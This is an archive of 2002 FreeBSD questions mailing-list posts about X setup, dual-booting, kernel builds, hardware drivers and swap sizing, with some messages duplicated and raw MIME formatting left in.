<DIV><FONT face=3DArial size=3D2>Thanx a lot.......</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Piyush</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0023_01BC9DF8.B31FFEC0--

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From owner-freebsd-questions  Wed Jul 31  8:55:28 2002
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From: "Piyush" <justsovanilla@yahoo.co.in>
To: <freebsd-questions@FreeBSD.ORG>
Subject: X....,Login managers.......,Mounting
Date: Thu, 31 Jul 1997 21:28:34 +0530
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------=_NextPart_000_0023_01BC9DF8.B31FFEC0
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	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,
Fixed X-windows ........it's working but.......not at the color depth =
and display mode I want it to. The file /etc/X11/XF86Config=20
under the sction screen and the subsection display looks like this:
SubSection Display
   Depth 1
 End
SubSection Display
   Depth 2
End
etc........till depth 24....how do I alter this file to set my depth to =
24 bit and 1024*768 when I tried altering the file X din't come up......

I have kdm(KDE login manager......) how do I make it run on startup so =
that I get a graphical login?

Lastly........how do I mount my windows partitions in BSD?

Thanx a lot.......
Piyush


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<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Fixed X-windows ........it's working =
but.......not=20
at the color depth and display mode I want it to. The file =
/etc/X11/XF86Config=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>under the sction screen and the =
subsection display=20
looks like this:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>SubSection Display</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; Depth 1</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;End</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>SubSection Display</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; Depth 2</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>End</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>etc........till depth 24....how do I =
alter this=20
file to set my depth to 24 bit and 1024*768 when I tried altering the =
file X=20
din't come up......</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have kdm(KDE login manager......) how =
do I make=20
it run on startup so that I get a graphical login?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Lastly........how do I mount my windows =
partitions=20
in BSD?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanx a lot.......</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Piyush</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

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__________________________________________________
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From owner-freebsd-questions  Wed Jul 31  8:55:32 2002
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From: "Piyush" <justsovanilla@yahoo.co.in>
To: <freebsd-questions@FreeBSD.ORG>
Subject: X....,Login managers.......,Mounting
Date: Thu, 31 Jul 1997 21:28:34 +0530
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------=_NextPart_000_0023_01BC9DF8.B31FFEC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,
Fixed X-windows ........it's working but.......not at the color depth =
and display mode I want it to. The file /etc/X11/XF86Config=20
under the sction screen and the subsection display looks like this:
SubSection Display
   Depth 1
 End
SubSection Display
   Depth 2
End
etc........till depth 24....how do I alter this file to set my depth to =
24 bit and 1024*768 when I tried altering the file X din't come up......

I have kdm(KDE login manager......) how do I make it run on startup so =
that I get a graphical login?

Lastly........how do I mount my windows partitions in BSD?

Thanx a lot.......
Piyush


------=_NextPart_000_0023_01BC9DF8.B31FFEC0
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	charset="iso-8859-1"
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http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Fixed X-windows ........it's working =
but.......not=20
at the color depth and display mode I want it to. The file =
/etc/X11/XF86Config=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>under the sction screen and the =
subsection display=20
looks like this:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>SubSection Display</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; Depth 1</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;End</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>SubSection Display</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; Depth 2</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>End</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>etc........till depth 24....how do I =
alter this=20
file to set my depth to 24 bit and 1024*768 when I tried altering the =
file X=20
din't come up......</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have kdm(KDE login manager......) how =
do I make=20
it run on startup so that I get a graphical login?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Lastly........how do I mount my windows =
partitions=20
in BSD?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanx a lot.......</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Piyush</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

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From owner-freebsd-questions  Wed Jul 31  8:55:42 2002
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From: "Piyush" <justsovanilla@yahoo.co.in>
To: <freebsd-questions@FreeBSD.ORG>
Subject: X....,Login managers.......,Mounting
Date: Thu, 31 Jul 1997 21:28:34 +0530
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This is a multi-part message in MIME format.

------=_NextPart_000_0023_01BC9DF8.B31FFEC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,
Fixed X-windows ........it's working but.......not at the color depth =
and display mode I want it to. The file /etc/X11/XF86Config=20
under the sction screen and the subsection display looks like this:
SubSection Display
   Depth 1
 End
SubSection Display
   Depth 2
End
etc........till depth 24....how do I alter this file to set my depth to =
24 bit and 1024*768 when I tried altering the file X din't come up......

I have kdm(KDE login manager......) how do I make it run on startup so =
that I get a graphical login?

Lastly........how do I mount my windows partitions in BSD?

Thanx a lot.......
Piyush


------=_NextPart_000_0023_01BC9DF8.B31FFEC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Fixed X-windows ........it's working =
but.......not=20
at the color depth and display mode I want it to. The file =
/etc/X11/XF86Config=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>under the sction screen and the =
subsection display=20
looks like this:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>SubSection Display</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; Depth 1</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;End</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>SubSection Display</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp; Depth 2</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>End</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>etc........till depth 24....how do I =
alter this=20
file to set my depth to 24 bit and 1024*768 when I tried altering the =
file X=20
din't come up......</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have kdm(KDE login manager......) how =
do I make=20
it run on startup so that I get a graphical login?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Lastly........how do I mount my windows =
partitions=20
in BSD?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanx a lot.......</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Piyush</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

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From owner-freebsd-questions  Wed Jul 31  9:10:21 2002
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Date: Wed, 31 Jul 2002 17:10:15 +0100 (BST)
Message-Id: <200207311610.RAA22993@mcpherson.cogsci.ed.ac.uk>
From: Richard Tobin <richard@cogsci.ed.ac.uk>
Subject: SSL and 4.6.1
To: freebsd-questions@FreeBSD.ORG
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Is 4.6.1 going to incorporate the latest SSL fixes?

-- Richard


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From owner-freebsd-questions  Wed Jul 31  9:16:19 2002
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Date: Wed, 31 Jul 2002 09:15:55 -0700 (PDT)
From: Wayne Lubin <wayneclubin@yahoo.com>
Subject: Re: Dual-booting win98 and FreeBSD problem
To: system@pathfinder.gr
Cc: freebsd-questions@freebsd.org
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I am not completely sure but my first instinct is that
when using the freebsd boot manager, any os you wish
the boot manager to find must be within a certain
number of sectors/cylinders/heads blah blah blah.
Therefore when you have multiple os's you wish to be
bootable, you would do something like make a small
slice for freebsd, probably a slice just big enough
for the "/" directory. Then make after that a little
slice for the "Bill Gates Hell Zone". Then after that
make the rest of the disk for freebsd. And finally
make the entire second disk another "Bill Gates Zone
of Hell". You see in my theory the problem is that the
boot manager uses a finite number of bits to determine
where each of the os's start, and by making "bill
gates land" begin on the second disk, it is beyond the
largest number that those bits can count up to and so
it just loads the only os it can find. And then again
I may be completely wrong haha. Well at least my
theory sounds good. One day maybe I will get around to
reading the boot manager that freebsd uses, or any
boot manager for that matter.  God luck.

Wayne


--- system@pathfinder.gr wrote:
> People,
> 
> I have installed FreeBSD 4.4 and Win98SE each on its
> own disk.
> (FreeBSD on /dev/ad0s1a and Win98SE on /dev/ad1s1 ).
> 
> I have also installed the FreeBSD boot manager on
> ad0.
> 
> (ad0 is the primary master and ad1 is the primary
> slave)
> 
> When the computer boots, I get this prompt:
> 
> F1      FreeBSD
> F5      Drive 1
> 
> When I press F1, FreeBSD boots nice and well.
> 
> But, when I press F5, then instead of win98, FreeBSD
> boots again (nice
> and well).
> 
> Any help?
>   
>      
> P.S. : ad1 is bootable (FAT32).
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of
> the message


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From owner-freebsd-questions  Wed Jul 31  9:16:38 2002
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To: "wlw zhang" <wlwzhang@yahoo.com>
Cc: "FBSDQ" <questions@FreeBSD.ORG>
Subject: RE: Question regarding finding and loading device modules for 3 unknown card device
Date: Wed, 31 Jul 2002 11:46:18 -0400
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First FBSD does not work with ms/windows modems.
Winmodems are built just for the win market and are cheap because the
controllers are left off and the controlling function is done by
software you have to install to use the modem.
FBSD only works with internal modems that have onboard controllers.

So open your box and remove the modem card if you do not want to see
the unknown message in the boot log.

While you have the box open eyeball the other cards in the expansion
slots to find out what they are.

Play with the PC's bios turning off functions to see if the other
unknown message goes away to id what they are.

If you are running FBSD 4.6 try  pnpinfo  command.

The bottom line is you can ignore those messages as they will not hurt FBSD.

-----Original Message-----
From: owner-freebsd-questions@FreeBSD.ORG
[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of wlw zhang
Sent: Wednesday, July 31, 2002 2:36 AM
To: freebsd-questions@FreeBSD.org
Subject: Question regarding finding and loading device modules for 3 unknown
card device

Hi,

After build a 4.6 kernel for my DELL OptiPlex GX110, I
have 3 unknown device card with command `dmesg|grep
unknown`:

pci1: <unknown card> (vendor=0x1106, dev=0x3044) at
10.0 irq 11
pci1: <unknown card> (vendor=0x134d, dev=0x7897) at
11.0 irq 9
pci0: <unknown card> (vendor=0x8086, dev=0x2413) at
31.3 irq 10

All the cards are following,
(vendor=0x1106, dev=0x3044) is a IEEE 1394 PCI card.
(vendor=0x134d, dev=0x7897) is a modem PCI card.
(vendor=0x8086, dev=0x2413) an intel buildin card,
don't know what's it used for.


Question.

1. How do I find out all device entries in my kernel
conf file? so that I can rebuild it, LINT doesn't seem
help at this point.

2. Can I not rebuild my kernel, but just use
loader.conf to load those modules at boot time? If
yes, where can I find those modules? not sure
/boot/defaults/loader.conf will help.

3. Can I use "kldload"? if yes, same question as 2,
where can I find the modules for those?

Thanks in advance.

Regards,

Bill
P.S. I attached the whole dmesg if you want to see it.



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From owner-freebsd-questions  Wed Jul 31  9:22:37 2002
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Hi!
Can't get working net card DFE-538TX on FreeBSD 4.3.
On boot see: pci0 <unknown card>. The card is good.

Please help.
Olga

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From owner-freebsd-questions  Wed Jul 31  9:35:14 2002
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From: "soheil h" <soheil_h_y@hotmail.com>
To: freebsd-questions@FreeBSD.ORG
Subject: MAKING KERNEL ( emergency )
Date: Wed, 31 Jul 2002 21:05:05 +0430
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Hi list
just for a test to make a new kernel i make a copy of GENERIC to MYKERN at 
/root ( same as what said in the handbook)
i change the /usr/src/sys/netinet/ip.h and append to it 'struct tcphdr'
from ./tcp.h and ranamed it 'struct tcpS'
and define a 'struct tcpS * soheil' variable to see the tcphdr in the ip 
packets passing through me
it doesn't have any error
i usr method 2 in the handbook ( the new way kernel making : "make 
buildkernel KERNCONF=MYKERN)
but it takes some error on scsi devices source code before the
(at dev/aha , aic , aic7xxx , ...) never the errors are the same
compilation of my netinet/ip_input.c
after i edit the MYKERN remove all SCSI and RAID from options
fortunately it compiles the netinet/ip_input.c without any error it pas the 
net ,netinet, nfs, and any network sources after that it takes an error on 
sys/pci the last output lines are these
cc -c -O -pipe .... /usr/src/sys/pci/if_sis.c
{standard input}: Assembler message:
{standard input}:2438: Error: Unknown pseudo-op: '.p2alygn'
*** Error code 1
Stop in ......

sometimes the error is like this:
syntax error
machine/atomic.h
by the way never the errors are the same
i want to know how these errors can happened? and
please make me know if i have to use method one ( traditional kernel 
makeing) or any errors i may make

thanx
S<H<Y
"computers are like airconditioners they don't work properly if you open 
windows"







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From owner-freebsd-questions  Wed Jul 31  9:39:46 2002
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From: "Seth Henry" <jshamlet@hotmail.com>
To: freebsd-questions@freebsd.org
Subject: termios.h question
Date: Wed, 31 Jul 2002 11:39:38 -0500
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Hello,
I am working on porting some Linux code to FreeBSD. Specifically, I received 
a sample program from CrystalFontz to drive their CFA633 intelligent LCD 
module.

The problem is in the serial I/O file. There are several references to 
defines that aren't in the FreeBSD termios.h file.

In particular, this is what I get when I try to compile their code:
serial.c: In function `Serial_Init':
serial.c:91: `IUCLC' undeclared (first use in this function)
serial.c:91: (Each undeclared identifier is reported only once
serial.c:91: for each function it appears in.)
serial.c:95: `OLCUC' undeclared (first use in this function)
serial.c:96: `OFILL' undeclared (first use in this function)
serial.c:96: `OFDEL' undeclared (first use in this function)
serial.c:96: `NLDLY' undeclared (first use in this function)
serial.c:96: `CRDLY' undeclared (first use in this function)
serial.c:96: `TABDLY' undeclared (first use in this function)
serial.c:96: `BSDLY' undeclared (first use in this function)
serial.c:96: `VTDLY' undeclared (first use in this function)
serial.c:96: `FFDLY' undeclared (first use in this function)
serial.c:97: `NL0' undeclared (first use in this function)
serial.c:97: `CR0' undeclared (first use in this function)
serial.c:97: `TAB0' undeclared (first use in this function)
serial.c:97: `BS0' undeclared (first use in this function)
serial.c:97: `VT0' undeclared (first use in this function)
serial.c:97: `FF0' undeclared (first use in this function)

The code in question is:
        //input modes
        term.c_iflag &= 
~(IGNBRK|BRKINT|PARMRK|INPCK|ISTRIP|INLCR|IGNCR|ICRNL
                        |IUCLC|IXON|IXANY|IXOFF|IMAXBEL);
        term.c_iflag |= IGNPAR;

        //output modes
        term.c_oflag &= ~(OPOST|OLCUC|ONLCR|OCRNL|ONOCR|ONLRET|OFILL
                        |OFDEL|NLDLY|CRDLY|TABDLY|BSDLY|VTDLY|FFDLY);
        term.c_oflag |= NL0|CR0|TAB0|BS0|VT0|FF0;

        //control modes
        term.c_cflag &= ~(CSIZE|PARENB|CRTSCTS|PARODD|HUPCL);
        term.c_cflag |= CREAD|CS8|CSTOPB|CLOCAL;

        //local modes
        term.c_lflag &= ~(ISIG|ICANON|IEXTEN|ECHO|FLUSHO|PENDIN);
        term.c_lflag |= NOFLSH;

        //set baud rate
        cfsetospeed(&term, brate);
        cfsetispeed(&term, brate);

        //set new device settings
        if (tcsetattr(handle, TCSANOW, &term)  != 0)
        {
                printf("tcsetattr failed\n");
                return(4);
        }

Some of the defines are in the FreeBSD termios.h, but I'm not sure if they 
are trustworthy. Can anyone tell me what these defines should be?
Also, aren't these part of the POSIX spec? If so, what's the deal?

Thanks,
Seth Henry

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From owner-freebsd-questions  Wed Jul 31  9:48:41 2002
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Subject: Re: MAKING KERNEL ( emergency )
From: "Jud" <jud@myrealbox.com>
To: soheil_h_y@hotmail.com
Cc: freebsd-questions@FreeBSD.ORG
Date: Wed, 31 Jul 2002 12:48:31 -0400
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-----Original Message-----
From: "soheil h" <soheil_h_y@hotmail.com>
To: freebsd-questions@FreeBSD.ORG
Date: Wed, 31 Jul 2002 21:05:05 +0430
Subject: MAKING KERNEL ( emergency )

Hi list
just for a test to make a new kernel i make a copy of GENERIC to MYKERN at=
=20
/root ( same as what said in the handbook)
i change the /usr/src/sys/netinet/ip.h and append to it 'struct tcphdr'
from ./tcp.h and ranamed it 'struct tcpS'
and define a 'struct tcpS * soheil' variable to see the tcphdr in the ip=20
packets passing through me
it doesn't have any error
i usr method 2 in the handbook ( the new way kernel making : "make=20
buildkernel KERNCONF=3DMYKERN)
but it takes some error on scsi devices source code before the
(at dev/aha , aic , aic7xxx , ...) never the errors are the same
compilation of my netinet/ip_input.c
after i edit the MYKERN remove all SCSI and RAID from options
fortunately it compiles the netinet/ip_input.c without any error it pas the=
=20
net ,netinet, nfs, and any network sources after that it takes an error on=
=20
sys/pci the last output lines are these
cc -c -O -pipe .... /usr/src/sys/pci/if_sis.c
{standard input}: Assembler message:
{standard input}:2438: Error: Unknown pseudo-op: '.p2alygn'
*** Error code 1
Stop in ......

sometimes the error is like this:
syntax error
machine/atomic.h
by the way never the errors are the same
i want to know how these errors can happened? and
please make me know if i have to use method one ( traditional kernel=20
makeing) or any errors i may make

thanx
S<H<Y
"computers are like airconditioners they don't work properly if you open=20
windows"

_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

Hi, Soheil.

(1)  I'd stay away from words like "emergency" in=20
the subject lines of your posts.=20

(2)  The second method for building and installing=20
a kernel applies after you have run "make buildworld."  If you are simply r=
ebuilding and=20
reinstalling the kernel without rebuilding everything=20
else, use the first method outlined in the handbook.

Jud







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From owner-freebsd-questions  Wed Jul 31  9:59:42 2002
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Date: Wed, 31 Jul 2002 10:59:01 -0600
From: Jan Beck <janb@cs.utep.edu>
Subject: Re: Harddisk damage by driver?
To: freebsd-hardware@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG
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That brings up a very good question. How many people have had problems due
to overheating?

I have had the very odd problem of having 2 IDE drives die over the past
month, most likely due to overheating, since it gets very hot in my dual
athlon system. These drives had very high usage at almost all times. In my
file server, however, the hard drives get VERY hot. So much so, that you
can't touch them without burning your hands. All the drives in the file
server have been running well over a year in those conditions and I haven't
had any problems with it. The server load itself is very light, however.

I have heard of drives failig due to heat, but never due to usage. But I can
guarantee that the 7200 RPM drives in the file server are much hotter than
the drives in the workstations were.

Does usage have any bearing on drive life? It seems that the cooling is not
important as long as the usage load on the drives is fairly low...

Or have I just been really lucky?

JAn


----- Original Message -----
From: "vizion communication" <vizion@ixpres.com>
To: "Axel Simon" <A.Simon@ukc.ac.uk>; "Bakul Shah" <bakul@bitblocks.com>
Cc: <freebsd-hardware@FreeBSD.ORG>; <freebsd-questions@FreeBSD.ORG>
Sent: Wednesday, July 31, 2002 9:39 AM
Subject: Re: Harddisk damage by driver?


> I would agree the problem is likely to be
> electrical/mechanical and the most likely cause is
> overheating. Your experience with the drive that came up
> after some time does point to overheating.
>
> However you might want to rule out a mal-functioning power
> supply unit which could cause similar symptoms. This is
> unlikely but possible.
>
> David
>
> ----- Original Message -----
> From: "Bakul Shah" <bakul@bitblocks.com>
> To: "Axel Simon" <A.Simon@ukc.ac.uk>
> Cc: <freebsd-hardware@FreeBSD.ORG>;
> <freebsd-questions@FreeBSD.ORG>
> Sent: Wednesday, July 31, 2002 8:27 AM
> Subject: Re: Harddisk damage by driver?
>
>
> > The fack that all the drives die makes me think may be
> your
> > puter is not properly ventilated and the hard disks get
> very
> > hot.  You may have had very bad luck with all the drives
> but
> > that is not very likely.  A bad cable would give you
> > read/write errors but it won't make your disk make loud
> > repetitive clicking noises!  A FreeBSD driver can not be
> at
> > fault either with modern IDE or SCSI drives.
> >
> > See if the disks get very hot and if so, see if keeping
> the
> > box open and pointing a big fan at the disks make the
> errors
> > go away.  If the heat is a problem, you can do a number of
> > things to keep good air flow around disks.
> >
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-hardware" in the body of the
> message
> >
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-hardware" in the body of the message
>


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From owner-freebsd-questions  Wed Jul 31 10:10:10 2002
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Date: Wed, 31 Jul 2002 10:10:02 -0700 (PDT)
From: Doug Barton <DougB@FreeBSD.org>
To: questions@FreeBSD.org
Subject: Anyone gotten a gforce4 to work in X?
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	I tried the patches at
ftp://ftp.wolves.k12.mo.us/pub/stuff/nvpatch.tar.gz but that didn't work
for me. I have geforce4 mx440, which I naively assumed would work, since
so many other geforce cards were supported. Stupid me. Any suggestions
before I take this card back?

TIA,

Doug

-- 
   "We have known freedom's price. We have shown freedom's power.
      And in this great conflict, ...  we will see freedom's victory."
	- George W. Bush, President of the United States
          State of the Union, January 28, 2002

         Do YOU Yahoo!?



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From owner-freebsd-questions  Wed Jul 31 10:12:39 2002
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Subject: poll
From: O Senhor <osenhor@uol.com.br>
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  Hello,
  My FreeBSD 4.6 box (running ldap server) sldap, stops with the sldap
process in this loop:
...
poll([{fd=3, events=POLLRDNORM}], 1, 10000) = 0
gettimeofday({1028123628, 836383}, NULL) = 0
clock_gettime(0, 0xbfafefa4)            = 0
poll([{fd=3, events=POLLRDNORM}], 1, 10000) = 0
gettimeofday({1028123638, 846478}, NULL) = 0
clock_gettime(0, 0xbfafefa4)            = 0
...

 Any idea???
ps.: I got this messages with strace -p <pid-of-sldap>.

Thanks
-- 
-----------------------------------------------------------------
thesirbr                                      O Senhor do Brasil.
-----------------------------------------------------------------


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From owner-freebsd-questions  Wed Jul 31 10:17: 2 2002
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Date: Wed, 31 Jul 2002 18:16:32 +0100
From: Axel Simon <A.Simon@ukc.ac.uk>
To: Joe & Fhe Barbish <barbish@a1poweruser.com>
Cc: Axel Simon <A.Simon@ukc.ac.uk>, FBSDQ <questions@FreeBSD.ORG>
Subject: Re: Harddisk damage by driver?
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On Wed, Jul 31, 2002 at 11:11:23AM -0400, Joe & Fhe Barbish wrote:
> Replace the PC's power supply. It is not providing the correct power
> level to the Hard drives and they are not spinning fast enough to keep
> the heads off the platter's surface causing the recording media to be
> worn off giving r/w errors.

How did you verify that the power supply was the source of the problem? 
Did you just replace it with a stronger one and it worked or did you 
monitor the voltage levels?

Axel.


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From owner-freebsd-questions  Wed Jul 31 10:17:25 2002
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Subject: Re: Anyone gotten a gforce4 to work in X?
From: Joe Marcus Clarke <marcus@marcuscom.com>
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On Wed, 2002-07-31 at 13:10, Doug Barton wrote:
> 	I tried the patches at
> ftp://ftp.wolves.k12.mo.us/pub/stuff/nvpatch.tar.gz but that didn't work
> for me. I have geforce4 mx440, which I naively assumed would work, since
> so many other geforce cards were supported. Stupid me. Any suggestions
> before I take this card back?

I may be able to get you some patches.  Wait a few hours before you
return the card.

Joe

> 
> TIA,
> 
> Doug
> 
> -- 
>    "We have known freedom's price. We have shown freedom's power.
>       And in this great conflict, ...  we will see freedom's victory."
> 	- George W. Bush, President of the United States
>           State of the Union, January 28, 2002
> 
>          Do YOU Yahoo!?
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
-- 
PGP Key : http://www.marcuscom.com/pgp.asc


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From owner-freebsd-questions  Wed Jul 31 10:17:32 2002
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To: freebsd-questions@freebsd.org
Subject: 1GB ram, how much SWAP?
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X-Loop: FreeBSD.ORG

if you have a gigabyte of ram, does the 2 x ram calculation
for the swap partition (from the fbsd handbook) still make sense?
thanks.

- rob

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From owner-freebsd-questions  Wed Jul 31 10:18:46 2002
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Subject: ptrace
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Is there a ptrace_syscall implementation in FreeBSD?

__________________________________________________
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Yahoo! Health - Feel better, live better
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From owner-freebsd-questions  Wed Jul 31 10:21:57 2002
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All of the sudden I stopped receiving the questions from this group.  I didn't unsubscribe to it so I don't know what happened!

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From owner-freebsd-questions  Wed Jul 31 10:26:12 2002
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* Henning, Brian (brian.henning@navitaire.com) wrote:
> when i am using 'screen' none of the history buffer is saved. i can't scroll
> up and see the results of previous commands. 


Screen has a built-in scrollback buffer. Using default settings, hit
CTRL-A then ESC. You can scroll the buffer using familiar Vi movement
commands. Hit ESC when you're done. You can also modify the size of the
scrollback buffer using the 'scrollback' command in your screenrc.


Justin

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From owner-freebsd-questions  Wed Jul 31 10:31:32 2002
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Date: Wed, 31 Jul 2002 11:31:30 -0600
Subject: Re: 1GB ram, how much SWAP?
From: Colin Harford <colin.harford@mail.su.ualberta.ca>
To: Rob Ellis <rob@web.ca>, <freebsd-questions@freebsd.org>
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On 7/31/02 11:17 AM, "Rob Ellis" <rob@web.ca> wrote:

> if you have a gigabyte of ram, does the 2 x ram calculation
> for the swap partition (from the fbsd handbook) still make sense?
> thanks.
>=20
> - rob
>=20
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message


All depends on what you use the machine for....  Desktop, big deal
But if its a mission critical server, add some, bescides HD space is pretty
cheap now.



From one machine that doesn't quite have 1 GB of ram....

last pid: 30202;  load averages:  0.06,  0.01,  0.00
up 4+09:29:04  13:20:58
56 processes:  1 running, 55 sleeping
CPU states:  0.0% user,  0.0% nice,  0.4% system,  0.0% interrupt, 99.6%idl=
e
Mem: 24M Active, 169M Inact, 92M Wired, 8K Cache, 99M Buf, 592M Free
Swap: 1776M Total, 1776M Free


My desktop is offline, else I'd show you its stats, its got 1.25 GB of ram,
and 1 GB of swap.... Things just fly.... I don't think I've ever pushed it
into swap, either way, its better safe than sorry to have some.



Colin Harford =A0=A0=A0

=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0
Systems and Network Administrator =A0=A0=A0=A0    Apple Product Professional
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D =A0=A0=A0=A0
Computer and Network Support =A0=A0=A0=A0=A0=A0=A0=A0
University of Alberta Students' Union =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0
Phone: (780) 492-4241 =A0=A0Fax: =A0(780) 492-4643
http://www.su.ualberta.ca


"I sense much NT in you, NT leads to Blue Screen.
Blue Screen leads to downtime, downtime leads to suffering.
NT is the path to the darkside."
         - Unknown Unix Jedi




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From owner-freebsd-questions  Wed Jul 31 10:42:24 2002
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Date: Wed, 31 Jul 2002 19:42:13 +0200
From: Andreas Ntaflos <ant@overclockers.at>
To: Olga Zenkova <siro200@yahoo.com>
Cc: freebsd-questions@freebsd.org
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On Wed, Jul 31, 2002 at 09:22:33AM -0700, Olga Zenkova wrote:
> Hi!
> Can't get working net card DFE-538TX on FreeBSD 4.3.

You might want to add `device dc` to your kernel config file. See the
handbook at
http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/kernelconfig.html
for information about configuring your kernel.

HTH
regards
-- 
	Andreas "ant" Ntaflos	
	ant@overclockers.at
	Vienna, AUSTRIA


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From owner-freebsd-questions  Wed Jul 31 10:58:28 2002
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From: Rob Ellis <rob@web.ca>
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Subject: Re: 1GB ram, how much SWAP?
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i'm setting up a new machine, currently with 256M swap partitions
on 2 disks, so 512M of swap, which seems like enough...
it is going to be a server, but i can't imagine it's going
to need 1.5GB of memory...?

if crash dumps are enabled, maybe you need the extra swap?
but they're off by default and i don't see turning them on.

- rob

On Wed, Jul 31, 2002 at 11:31:30AM -0600, Colin Harford wrote:
> On 7/31/02 11:17 AM, "Rob Ellis" <rob@web.ca> wrote:
> 
> > if you have a gigabyte of ram, does the 2 x ram calculation
> > for the swap partition (from the fbsd handbook) still make sense?
> > thanks.
> > 
> > - rob
> > 
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> 
> 
> All depends on what you use the machine for....  Desktop, big deal
> But if its a mission critical server, add some, bescides HD space is pretty
> cheap now.
> 
> 
> 
> >From one machine that doesn't quite have 1 GB of ram....
> 
> last pid: 30202;  load averages:  0.06,  0.01,  0.00
> up 4+09:29:04  13:20:58
> 56 processes:  1 running, 55 sleeping
> CPU states:  0.0% user,  0.0% nice,  0.4% system,  0.0% interrupt, 99.6%idle
> Mem: 24M Active, 169M Inact, 92M Wired, 8K Cache, 99M Buf, 592M Free
> Swap: 1776M Total, 1776M Free
> 
> 
> My desktop is offline, else I'd show you its stats, its got 1.25 GB of ram,
> and 1 GB of swap.... Things just fly.... I don't think I've ever pushed it
> into swap, either way, its better safe than sorry to have some.
> 
> 
> 
> Colin Harford    
> 
>                                       
